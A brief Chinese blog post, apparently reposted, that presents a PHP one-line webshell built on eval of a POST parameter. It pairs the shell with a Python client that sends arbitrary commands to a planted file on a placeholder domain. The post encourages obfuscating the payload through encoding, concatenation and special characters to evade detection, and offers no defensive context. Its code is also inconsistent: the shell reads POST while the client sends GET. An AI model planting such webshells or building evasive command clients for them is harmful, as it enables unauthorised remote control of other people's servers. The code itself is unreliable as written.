关于一句话木马肯定是眼熟能详，一句话木马如下：
<?PHP eval($_POST[w]);?>
一把西瓜刀如下：
# -*-coding=utf-8-*-
# /usr/bin/python
import sys
import requests
def encodePayload(payload):
#请尽情蹂躏payload
return str(payload)
cmd = sys.argv[1]
payload = encodePayload(cmd)
url = "www.xxx.com/1.php?w="+ payload
req = requests.get(url)
print req.text
本质上算是代码注入。
需要人员在满足编程语法规则上，尽情蹂躏代码。举个栗子：编码转换、字符串拼接、特殊符号等等。
博主正在想栗子...
原文：http://www.cnblogs.com/MiWhite/p/7079486.html